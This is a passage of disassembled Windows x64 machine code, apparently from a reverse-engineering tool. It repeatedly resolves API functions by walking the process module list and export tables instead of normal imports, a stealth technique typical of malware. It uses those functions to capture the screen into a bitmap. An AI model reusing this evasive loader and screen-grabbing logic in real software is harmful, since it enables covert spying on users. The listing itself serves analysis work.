mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017f3f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017f33
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017f2e
cmp byte [rcx], al
jne 0x140017f33
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017f04
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140017f5a
test r8b, r8b
jne 0x140017f1b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017ef0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140017f57
mov r14d, 0x5a4d
jmp 0x140017e90
mov rax, rbx
jmp 0x140017f60
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x830]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x140017fc3
lea rcx, [rbp + 0x830]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140017f90
cmp byte [rbp + rax + 0x82f], 0x5c
jne 0x140017fba
dec rax
cmp rax, 0x104
jae 0x14001b73e
mov byte [rbp + rax + 0x830], 0
lea rdx, [rbp + 0x830]
jmp 0x140017fca
lea rdx, [0x14015f218]
lea rcx, [rbp - 0x80]
call fcn.1400058f0
nop
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x140017fe0
mov rdx, r12
lea rcx, [rbp - 0x80]
call fcn.140005ad0
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.1400058c0
lea r8, [rbp + 0x480]
mov rdi, qword [rbp - 0x18]
mov rdx, rdi
mov rcx, qword [0x1401875b8]
call fcn.14003e8a0
nop
lea rcx, [rbp - 0x80]
call fcn.140005a50
nop
mov rdx, rdi
mov rcx, qword [0x1401875a8]
call fcn.1400530e0
mov rdx, rdi
mov rcx, qword [0x1401875a0]
call fcn.1400492c0
mov rdx, rdi
mov rcx, qword [0x1401875d0]
call fcn.140037620
mov dword [rsp + 0x64], ebx
movzx r8d, byte [rsp + 0x60]
lea rdx, str.DISPLAY
lea rcx, [rbp - 0x10]
call fcn.14001fc20
nop
mov rcx, rax
call fcn.14001e200
mov r12, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.CreateDCA
lea rcx, [rbp + 0x90]
call fcn.14001fac0
nop
mov rcx, rax
call fcn.14001c8d0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018198
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018181
cmp word [r11], r14w
jne 0x140018193
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018193
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018193
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001817f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018173
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001816e
cmp byte [rcx], al
jne 0x140018173
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018144
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001819b
test r8b, r8b
jne 0x14001815b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018130
xor ebx, ebx
cmp qword [rdi + 0x60], 0
je 0x140018198
mov r14d, 0x5a4d
jmp 0x1400180d0
mov rax, rbx
jmp 0x1400181a1
mov rax, rbx
mov r14d, 0x5a4d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r12
call rax
mov r12, rax
mov qword [rbp - 0x58], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.CreateCompatibleDC
lea rcx, [rbp + 0xe0]
call fcn.14001fd70
nop
mov rcx, rax
call fcn.14001db10
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400182c7
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400182af
cmp word [r11], r14w
jne 0x1400182c2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400182c2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400182c2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400182af
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400182a3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001829e
cmp byte [rcx], al
jne 0x1400182a3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018274
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400182ca
test r8b, r8b
jne 0x14001828b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018260
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400182c7
mov r14d, 0x5a4d
jmp 0x140018200
mov rax, rbx
jmp 0x1400182d0
mov rax, rbx
mov r14d, 0x5a4d
mov rcx, r12
call rax
mov qword [rsp + 0x68], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetDeviceCaps
lea rcx, [rbp + 0x140]
call fcn.14001fed0
nop
mov rcx, rax
call fcn.14001d290
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400183e7
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400183cf
cmp word [r11], r14w
jne 0x1400183e2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400183e2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400183e2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400183cf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400183c3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x1400183be
cmp byte [rcx], al
jne 0x1400183c3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018394
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400183ea
test r8b, r8b
jne 0x1400183ab
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018380
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400183e7
mov r14d, 0x5a4d
jmp 0x140018320
mov rax, rbx
jmp 0x1400183f0
mov rax, rbx
mov r14d, 0x5a4d
mov edx, 8
mov rcx, r12
call rax
mov r13d, eax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetDeviceCaps
lea rcx, [rbp + 0x140]
call fcn.140020030
nop
mov rcx, rax
call fcn.14001d290
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018517
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400184ff
cmp word [r11], r14w
jne 0x140018512
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018512
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018512
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400184ff
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400184f3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x1400184ee
cmp byte [rcx], al
jne 0x1400184f3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400184c4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001851a
test r8b, r8b
jne 0x1400184db
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400184b0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018517
mov r14d, 0x5a4d
jmp 0x140018450
mov rax, rbx
jmp 0x140018520
mov rax, rbx
mov r14d, 0x5a4d
mov edx, 0xa
mov rcx, r12
call rax
mov r12d, eax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.CreateCompatibleBitmap
lea rcx, [rbp + 0x280]
call fcn.140020190
nop
mov rcx, rax
call fcn.14001cca0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018647
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001862f
cmp word [r11], r14w
jne 0x140018642
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018642
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018642
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001862f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018623
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001861e
cmp byte [rcx], al
jne 0x140018623
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400185f4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001864a
test r8b, r8b
jne 0x14001860b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400185e0
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018647
mov r14d, 0x5a4d
jmp 0x140018580
mov rax, rbx
jmp 0x140018650
mov rax, rbx
mov r14d, 0x5a4d
mov r8d, r12d
mov edx, r13d
mov rcx, qword [rbp - 0x58]
call rax
mov qword [rbp - 0x40], rax
test rax, rax
jne 0x14001866d
mov r12, rbx
jmp 0x14001944a
movzx r8d, byte [rsp + 0x60]
lea rdx, str.SelectObject
lea rcx, [rbp + 0x140]
call fcn.140020300
nop
mov rcx, rax
call fcn.14001c9e0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018787
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001876f
cmp word [r11], r14w
jne 0x140018782
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018782
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018782
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001876f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018763
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x14001875e
cmp byte [rcx], al
jne 0x140018763
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018734
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001878a
test r8b, r8b
jne 0x14001874b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018720
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018787
mov r14d, 0x5a4d
jmp 0x1400186c0
mov rax, rbx
jmp 0x140018790
mov rax, rbx
mov r14d, 0x5a4d
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rsp + 0x68]
call rax
nop
test rax, rax
jne 0x1400187a9
mov r12, rbx
jmp 0x14001944a
movzx r8d, byte [rsp + 0x60]
lea rdx, str.StretchBlt
lea rcx, [rbp + 0x140]
call fcn.140020450
nop
mov rcx, rax
call fcn.14001dc40
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400188b7
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x14001889f
cmp word [r11], r14w
jne 0x1400188b2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400188b2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400188b2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x14001889f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018893
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001888e
cmp byte [rcx], al
jne 0x140018893
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018864
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x1400188ba
test r8b, r8b
jne 0x14001887b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018850
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x1400188b7
mov r14d, 0x5a4d
jmp 0x1400187f0
mov rax, rbx
jmp 0x1400188c0
mov rax, rbx
mov r14d, 0x5a4d
mov dword [rsp + 0x50], 0xcc0020
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov rcx, qword [rbp - 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9d, r13d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x68]
call rax
nop
test eax, eax
jne 0x140018904
mov r12, rbx
jmp 0x14001944a
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetObjectW
lea rcx, [rbp + 0x140]
call fcn.1400205b0
nop
mov rcx, rax
call fcn.14001dc40
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018a18
nop dword [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018a01
cmp word [r11], r14w
jne 0x140018a13
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018a13
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018a13
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400189ff
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400189f3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x1400189ee
cmp byte [rcx], al
jne 0x1400189f3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x1400189c4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140018a1b
test r8b, r8b
jne 0x1400189db
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400189b0
xor ebx, ebx
cmp qword [rdi + 0x60], 0
je 0x140018a18
mov r14d, 0x5a4d
jmp 0x140018950
mov rax, rbx
jmp 0x140018a21
mov rax, rbx
mov r14d, 0x5a4d
lea r8, [rbp + 0x4a0]
mov r12d, 0x20
mov edx, r12d
mov rcx, qword [rbp - 0x40]
call rax
nop
test eax, eax
jne 0x140018a44
mov r12, rbx
jmp 0x14001944a
movzx eax, word [rbp + 0x4b0]
movzx ecx, word [rbp + 0x4b2]
imul ecx, eax
cmp cx, 1
jne 0x140018b65
mov r12d, 1
movzx r8d, byte [rsp + 0x60]
lea rdx, str.LocalAlloc
lea rcx, [rbp + 0x2d0]
call fcn.140020710
nop
mov rcx, rax
call fcn.14001dc40
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018d05
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018ced
cmp word [r11], r14w
jne 0x140018d00
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018d00
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018d00
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140018ced
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018cdd
mov rdx, rsi
sub rdx, rcx
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
test al, al
je 0x140018cd4
cmp byte [rcx], al
jne 0x140018cdd
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018b30
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov r8d, dword [r14 + rcx*4]
add r8, r11
xor ebx, ebx
jmp 0x140018d08
cmp cx, 4
ja 0x140018b76
mov r12d, 4
jmp 0x140018a65
cmp cx, 8
ja 0x140018b87
mov r12d, 8
jmp 0x140018a65
cmp cx, 0x10
ja 0x140018b98
mov r12d, 0x10
jmp 0x140018a65
cmp cx, 0x18
ja 0x140018a65
mov r12d, 0x18
movzx r8d, byte [rsp + 0x60]
lea rdx, str.LocalAlloc
lea rcx, [rbp + 0x310]
call fcn.140020870
nop
mov rcx, rax
call fcn.14001dc40
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018cb7
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018c9f
cmp word [r11], r14w
jne 0x140018cb2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018cb2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018cb2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140018c9f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018c93
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140018c8e
cmp byte [rcx], al
jne 0x140018c93
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018c64
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140018cba
test r8b, r8b
jne 0x140018c7b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018c50
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018cb7
mov r14d, 0x5a4d
jmp 0x140018bf0
mov rax, rbx
jmp 0x140018cc0
mov rax, rbx
mov r14d, 0x5a4d
mov edx, 0x28
lea ecx, [rdx + 0x18]
call rax
mov r13, rax
mov edi, 1
jmp 0x140018d2f
test r8b, r8b
jne 0x140018b4f
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018b13
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018d05
mov r14d, 0x5a4d
jmp 0x140018ab0
mov r8, rbx
jmp 0x140018d0e
mov r8, rbx
mov r14d, 0x5a4d
movzx ecx, r12b
mov edi, 1
mov eax, edi
shl eax, cl
movsxd rdx, eax
lea rdx, [rdx*4 + 0x28]
lea ecx, [rdi + 0x3f]
call r8
mov r13, rax
mov dword [r13], 0x28
mov eax, dword [rbp + 0x4a4]
mov dword [r13 + 4], eax
mov edx, dword [rbp + 0x4a4]
mov eax, dword [rbp + 0x4a8]
mov dword [r13 + 8], eax
mov r8d, dword [rbp + 0x4a8]
movzx eax, word [rbp + 0x4b0]
mov word [r13 + 0xc], ax
movzx eax, word [rbp + 0x4b2]
mov word [r13 + 0xe], ax
movzx ecx, r12w
cmp r12w, 0x18
jae 0x140018d83
mov eax, edi
shl eax, cl
mov dword [r13 + 0x20], eax
mov dword [r13 + 0x10], ebx
lea eax, [rdx + 7]
cdq
and edx, 7
lea r12d, [rdx + rax]
sar r12d, 3
imul r12d, r8d
imul r12d, ecx
mov dword [r13 + 0x14], r12d
mov dword [r13 + 0x24], ebx
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GlobalAlloc
lea rcx, [rbp + 0x140]
call fcn.1400209d0
nop
mov rcx, rax
call fcn.14001dd50
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018eb8
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018ea1
cmp word [r11], r14w
jne 0x140018eb3
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018eb3
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018eb3
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140018e9f
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018e93
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140018e8e
cmp byte [rcx], al
jne 0x140018e93
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018e64
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140018ebb
test r8b, r8b
jne 0x140018e7b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018e50
xor ebx, ebx
cmp qword [rdi + 0x60], 0
je 0x140018eb8
mov r14d, 0x5a4d
jmp 0x140018df0
mov rax, rbx
jmp 0x140018ec1
mov rax, rbx
mov r14d, 0x5a4d
mov edx, r12d
xor ecx, ecx
call rax
mov qword [rbp + 0x38], rax
test rax, rax
jne 0x140018ed9
mov r12, rbx
jmp 0x14001944a
movzx r12d, word [r13 + 8]
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetDIBits
lea rcx, [rbp + 0x190]
call fcn.140020b80
nop
mov rcx, rax
call fcn.14001c8d0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140018ff7
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140018fdf
cmp word [r11], r14w
jne 0x140018ff2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140018ff2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140018ff2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140018fdf
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140018fd3
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx + rdx]
test al, al
je 0x140018fce
cmp byte [rcx], al
jne 0x140018fd3
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140018fa4
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140018ffa
test r8b, r8b
jne 0x140018fbb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140018f90
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
je 0x140018ff7
mov r14d, 0x5a4d
jmp 0x140018f30
mov rax, rbx
jmp 0x140019000
mov rax, rbx
mov r14d, 0x5a4d
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r13
mov rbx, qword [rbp + 0x38]
mov qword [rsp + 0x20], rbx
movzx r9d, r12w
xor r8d, r8d
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rsp + 0x68]
call rax
nop
test eax, eax
jne 0x140019033
xor ebx, ebx
mov r12d, ebx
jmp 0x14001944a
mov eax, 0x4d42
mov word [rsp + 0x70], ax
mov r9d, dword [r13 + 0x20]
lea edx, [r9*4]
mov r10d, dword [r13 + 0x14]
lea r8d, [r10 + rdx]
lea eax, [r8 + 0xe]
add eax, dword [r13]
mov dword [rsp + 0x72], eax
xor eax, eax
mov dword [rsp + 0x76], eax
lea eax, [rdx + 0xe]
add eax, dword [r13]
mov dword [rsp + 0x7a], eax
lea eax, [r8 + 0x36]
mov dword [rsp + 0x64], eax
lea rax, [r9*4 + 0x28]
lea rcx, [r10 + 0x36]
add rcx, rax
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140138e30
mov r12, rax
movsd xmm0, qword [rsp + 0x70]
movsd qword [rax], xmm0
mov eax, dword [rsp + 0x78]
mov dword [r12 + 8], eax
movzx eax, word [rsp + 0x7c]
mov word [r12 + 0xc], ax
mov r8d, dword [r13 + 0x20]
lea r8, [r8*4 + 0x28]
lea rcx, [r12 + 0xe]
mov rdx, r13
call fcn.140131900
movsxd r8, dword [r13 + 0x14]
mov eax, dword [r13 + 0x20]
lea rcx, [rax*4 + 0x36]
add rcx, r12
mov rdx, rbx
call fcn.140131900
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GlobalFree
lea rcx, [rbp + 0x190]
call fcn.140020ce0
nop
mov rcx, rax
call fcn.14001dc40
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400191f7
nop
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400191df
cmp word [r11], r14w
jne 0x1400191f1
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400191f1
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400191f1
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
